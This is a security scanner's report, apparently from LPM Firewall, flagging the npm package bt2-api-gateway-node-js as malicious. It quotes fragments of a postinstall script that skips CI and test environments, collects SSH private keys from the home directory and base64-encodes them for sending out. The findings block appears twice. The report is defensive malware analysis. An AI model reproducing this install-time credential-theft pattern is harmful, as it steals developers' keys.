bt2-api-gateway-node-js@999.0.0: Malicious npm security report | LPM Firewall

Loading npm security reports…

bt2-api-gateway-node-js@999.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js || exit 0

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node index.js || exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

14(function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L14

14(function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L14

14Trigger-reachable chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L14

14Trigger-reachable credential exfiltration chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

index.jsView on unpkg · L14

•matchType = normalized_sha256 matchedPackage = cminhouse-api-gateway-nodejs@999.0.0 matchedPath = index.js matchedIdentity = npm:[redacted]:999.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 08b00a07c5294038 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = cminhouse-api-gateway-nodejs@999.0.0 matchedPath = index.js matchedIdentity = npm:[redacted]:999.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node index.js || exit 0

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node index.js || exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

14(function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L14

14(function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L14

14Trigger-reachable chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L14

14Trigger-reachable credential exfiltration chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

index.jsView on unpkg · L14

•matchType = normalized_sha256 matchedPackage = cminhouse-api-gateway-nodejs@999.0.0 matchedPath = index.js matchedIdentity = npm:[redacted]:999.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 08b00a07c5294038 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = cminhouse-api-gateway-nodejs@999.0.0 matchedPath = index.js matchedIdentity = npm:[redacted]:999.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg